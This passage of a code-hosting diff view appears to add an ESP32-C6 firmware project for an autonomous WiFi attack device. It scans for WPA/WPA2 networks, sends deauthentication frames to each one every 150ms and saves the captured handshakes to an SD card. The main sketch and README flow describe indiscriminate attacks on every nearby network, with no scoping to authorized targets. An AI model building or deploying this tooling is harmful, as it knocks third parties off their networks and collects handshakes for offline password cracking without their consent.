-b 'esp32:esp32:esp32c6:PartitionScheme=huge_app' \
|
||||
--input-dir /tmp/arduino-build-handshake-c6
|
||||
```
|
||||
|
||||
Use `arduino-cli board list` to find the correct port.
|
||||
|
||||
## Flow
|
||||
|
||||
1. Boot → scan → display networks (green)
|
||||
2. Pick first uncaptured WPA/WPA2 network
|
||||
3. Set channel, deauth every 150ms, capture EAPOL
|
||||
4. On full handshake → save to SD, mark red, next network
|
||||
5. When all done → rescan, repeat
|
||||
19
handshake-capture-c6/SD_Card.cpp
Normal file
19
handshake-capture-c6/SD_Card.cpp
Normal file
@@ -0,0 +1,19 @@
|
||||
#include "SD_Card.h"
|
||||
#include "Display_ST7789.h"
|
||||
|
||||
uint16_t SDCard_Size = 0;
|
||||
|
||||
bool SD_Init() {
|
||||
pinMode(SD_CS, OUTPUT);
|
||||
digitalWrite(SD_CS, HIGH);
|
||||
if (!SD.begin(SD_CS, SPI)) {
|
||||
Serial.println("SD init failed");
|
||||
return false;
|
||||
}
|
||||
if (SD.cardType() == CARD_NONE) {
|
||||
Serial.println("No SD card");
|
||||
return false;
|
||||
}
|
||||
SDCard_Size = SD.totalBytes() / (1024 * 1024);
|
||||
return true;
|
||||
}
|
||||
11
handshake-capture-c6/SD_Card.h
Normal file
11
handshake-capture-c6/SD_Card.h
Normal file
@@ -0,0 +1,11 @@
|
||||
#pragma once
|
||||
|
||||
#include <Arduino.h>
|
||||
#include <SD.h>
|
||||
#include <SPI.h>
|
||||
|
||||
#define SD_CS 4
|
||||
|
||||
extern uint16_t SDCard_Size;
|
||||
|
||||
bool SD_Init();
|
||||
49
handshake-capture-c6/WiFi_Scanner.cpp
Normal file
49
handshake-capture-c6/WiFi_Scanner.cpp
Normal file
@@ -0,0 +1,49 @@
|
||||
#include "WiFi_Scanner.h"
|
||||
#include <WiFi.h>
|
||||
#include "LVGL_Driver.h"
|
||||
#include "HandshakeCapture.h"
|
||||
|
||||
void WiFiScanner_Init(void) {
|
||||
WiFi.mode(WIFI_STA);
|
||||
WiFi.disconnect(false, true);
|
||||
WiFi.setSleep(false);
|
||||
}
|
||||
|
||||
void WiFiScanner_Refresh(void) {
|
||||
Ui_SetWifiStatus("Scanning...");
|
||||
Ui_ClearNetworkList();
|
||||
|
||||
scanNetworksSortedByRSSI();
|
||||
|
||||
int count = 0;
|
||||
for (int i = 0; i < 20; i++) {
|
||||
if (networks[i].ssid.isEmpty()) break;
|
||||
count++;
|
||||
}
|
||||
|
||||
if (count <= 0) {
|
||||
Ui_SetWifiStatus("No networks");
|
||||
WiFi.scanDelete();
|
||||
return;
|
||||
}
|
||||
|
||||
static char status_text[64];
|
||||
snprintf(status_text, sizeof(status_text), "%d networks", count);
|
||||
Ui_SetWifiStatus(status_text);
|
||||
|
||||
for (int i = 0; i < count; i++) {
|
||||
char line[48];
|
||||
snprintf(line, sizeof(line), "%02d. %s ch%d",
|
||||
i + 1,
|
||||
networks[i].ssid.c_str(),
|
||||
networks[i].ch);
|
||||
Ui_AddNetwork(line, i);
|
||||
if (networks[i].handshake_captured) {
|
||||
Ui_SetNetworkColor(i, lv_palette_main(LV_PALETTE_RED));
|
||||
} else {
|
||||
Ui_SetNetworkColor(i, lv_palette_main(LV_PALETTE_GREEN));
|
||||
}
|
||||
}
|
||||
|
||||
WiFi.scanDelete();
|
||||
}
|
||||
4
handshake-capture-c6/WiFi_Scanner.h
Normal file
4
handshake-capture-c6/WiFi_Scanner.h
Normal file
@@ -0,0 +1,4 @@
|
||||
#pragma once
|
||||
|
||||
void WiFiScanner_Init(void);
|
||||
void WiFiScanner_Refresh(void);
|
||||
90
handshake-capture-c6/handshake-capture-c6.ino
Normal file
90
handshake-capture-c6/handshake-capture-c6.ino
Normal file
@@ -0,0 +1,90 @@
|
||||
/*
|
||||
* WiFi Handshake Capture - ESP32-C6 1.47" LCD
|
||||
* Automatically scans, deauths, and captures handshakes to SD card.
|
||||
* Display: green = not captured, red = captured.
|
||||
*/
|
||||
|
||||
#include "Display_ST7789.h"
|
||||
#include "LVGL_Driver.h"
|
||||
#include "WiFi_Scanner.h"
|
||||
#include "SD_Card.h"
|
||||
#include "HandshakeCapture.h"
|
||||
|
||||
enum CaptureState {
|
||||
STATE_SCANNING,
|
||||
STATE_CAPTURING,
|
||||
STATE_WAITING
|
||||
};
|
||||
|
||||
CaptureState captureState = STATE_SCANNING;
|
||||
unsigned long capture_start_time = 0;
|
||||
const unsigned long CAPTURE_TIMEOUT_MS = 25000;
|
||||
const unsigned long DEAUTH_INTERVAL_MS = 150;
|
||||
|
||||
void setup() {
|
||||
Serial.begin(115200);
|
||||
LCD_Init();
|
||||
Set_Backlight(100);
|
||||
Lvgl_Init();
|
||||
|
||||
if (!SD_Init()) {
|
||||
Ui_SetWifiStatus("SD: no card");
|
||||
} else {
|
||||
Ui_SetWifiStatus("SD OK");
|
||||
}
|
||||
|
||||
handshakeCaptureInit();
|
||||
WiFiScanner_Refresh();
|
||||
captureState = STATE_SCANNING;
|
||||
}
|
||||
|
||||
void loop() {
|
||||
Timer_Loop();
|
||||
handshakeCaptureLoop();
|
||||
|
||||
switch (captureState) {
|
||||
case STATE_SCANNING: {
|
||||
int idx = -1;
|
||||
for (int i = 0; i < 20; i++) {
|
||||
if (networks[i].ssid.isEmpty()) break;
|
||||
if (!networks[i].handshake_captured && isCaptureable(i)) {
|
||||
idx = i;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (idx >= 0) {
|
||||
setTarget(idx);
|
||||
captureState = STATE_CAPTURING;
|
||||
capture_start_time = millis();
|
||||
startCapture(true);
|
||||
Ui_SetWifiStatus("Capturing...");
|
||||
} else {
|
||||
Ui_SetWifiStatus("Rescan");
|
||||
WiFiScanner_Refresh();
|
||||
delay(500);
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
case STATE_CAPTURING: {
|
||||
int idx = getCurrentTargetIndex();
|
||||
if (isHandshakeCaptured(idx)) {
|
||||
Ui_SetWifiStatus("Got handshake");
|
||||
stopCapture();
|
||||
captureState = STATE_SCANNING;
|
||||
delay(2000);
|
||||
} else if (idx >= 0 && millis() - capture_start_time > CAPTURE_TIMEOUT_MS) {
|
||||
Ui_SetWifiStatus("Timeout");
|
||||
stopCapture();
|
||||
captureState = STATE_SCANNING;
|
||||
delay(2000);
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
case STATE_WAITING:
|
||||
break;
|
||||
}
|
||||
|
||||
delay(16);
|
||||
}
|
||||
Reference in New Issue
Block a user